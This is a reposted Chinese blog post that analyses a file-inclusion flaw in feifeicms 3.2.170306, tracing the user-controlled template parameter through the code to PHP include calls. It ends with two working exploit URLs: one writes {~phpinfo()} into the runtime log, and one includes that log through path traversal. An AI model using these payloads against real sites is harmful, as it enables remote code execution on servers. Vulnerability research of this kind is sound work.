码迷,mamicode.com
首页 > 其他好文 > 详细

feifeicms 3.2_.170306文件包含

时间:2017-09-25 00:52:27      阅读:342      评论:0      收藏:0      [点我收藏+]

标签:end   ima   直接   .com   start   row   字符编码   lca   home   

文件包含

Lib\Lib\Action\Home/MyAction.class.php
<?php
class MyAction extends HomeAction{
  public function show(){
        $id = !empty($_GET[‘tpl‘])?$_GET[‘tpl‘]:‘new‘;
        $skin = ‘my_‘.trim($id);
        if($_GET[‘ajax‘]){
            $skin .= ‘_ajax‘;
        }
        $this->display($skin);
    }
}
?>

跟踪display函数 

  protected function display($templateFile=‘‘,$charset=‘‘,$contentType=‘text/html‘)
    {
        if(empty($charset))  $charset = C(‘DEFAULT_CHARSET‘);
        // 网页字符编码
        header("Content-Type:".$contentType."; charset=".$charset);
        header("Cache-control: private");  //支持页面回跳
        //页面缓存
        ob_start();
        ob_implicit_flush(0);
        // 自动定位模板文件
        $templateFile   = $this->parseTemplateFile($templateFile);
        if(‘php‘==strtolower(C(‘TMPL_ENGINE_TYPE‘))) {
            // 模板阵列变量分解成为独立变量
            extract($this->tVar, EXTR_OVERWRITE);
            // 直接载入PHP模板
            include $templateFile;
        }else{
            // 模板文件需要重新编译 支持第三方模板引擎
            // 调用模板引擎解析和输出
            $tpl   =  new ThinkTemplateLite;
            
  public function loadTemplate ($tmplTemplateFile=‘‘)
    {    //die("test1");
        if(empty($tmplTemplateFile))    $tmplTemplateFile = $this->config[‘default_tmpl‘];
        if(!is_file($tmplTemplateFile)){
            $tmplTemplateFile =  dirname($this->config[‘default_tmpl‘]).‘/‘.$tmplTemplateFile.$this->config[‘template_suffix‘];
            if(!is_file($tmplTemplateFile))
                throw_exception(L(‘_TEMPLATE_NOT_EXIST_‘).‘:‘.$tmplTemplateFile);
        }
        $this->templateFile    =  $tmplTemplateFile;

        //根据模版文件名定位缓存文件
        $tmplCacheFile = $this->config[‘cache_path‘].md5($tmplTemplateFile).$this->config[‘cache_suffix‘];
        $tmplContent = ‘‘;
        // 检查Cache文件是否需要更新
        if (!$this->checkCache($tmplTemplateFile)) {
            // 需要更新模版 读出原模板内容
            $tmplContent = file_get_contents($tmplTemplateFile);
            //编译模板内容
            $tmplContent = $this->compiler($tmplContent);
            // 检测分组目录
            if(!is_dir($this->config[‘cache_path‘]))
                mk_dir($this->config[‘cache_path‘]);
            //重写Cache文件
            if( false === file_put_contents($tmplCacheFile,trim($tmplContent)))
                throw_exception(L(‘_CACHE_WRITE_ERROR_‘).‘:‘.$tmplCacheFile);
        }
        return $tmplCacheFile;
    }

这个函数读到要包含的文件内容

紧着往上跟踪函数

    public function fetch($templateFile,$templateVar=‘‘)
    {
        if(!empty($templateVar))   $this->assign($templateVar);
        //根据模版文件名定位缓存文件
        $tmplCacheFile = $this->config[‘cache_path‘].md5($templateFile).$this->config[‘cache_suffix‘];
        if (!$this->checkCache($templateFile,$tmplCacheFile)) // 判断缓存是否有效
            $this->loadTemplate($templateFile,$tmplCacheFile);
        // 模板阵列变量分解成为独立变量
        extract($this->var, EXTR_OVERWRITE);
        //载入模版缓存文件
        include $tmplCacheFile;
    }
index.php?s=My-show-tpl-{~phpinfo()}.html
index.php?s=My-show-tpl-\..\Runtime\logs\17_09_24.log.html

技术分享

 

feifeicms 3.2_.170306文件包含

标签:end   ima   直接   .com   start   row   字符编码   lca   home   

原文地址:http://www.cnblogs.com/test404/p/7589239.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!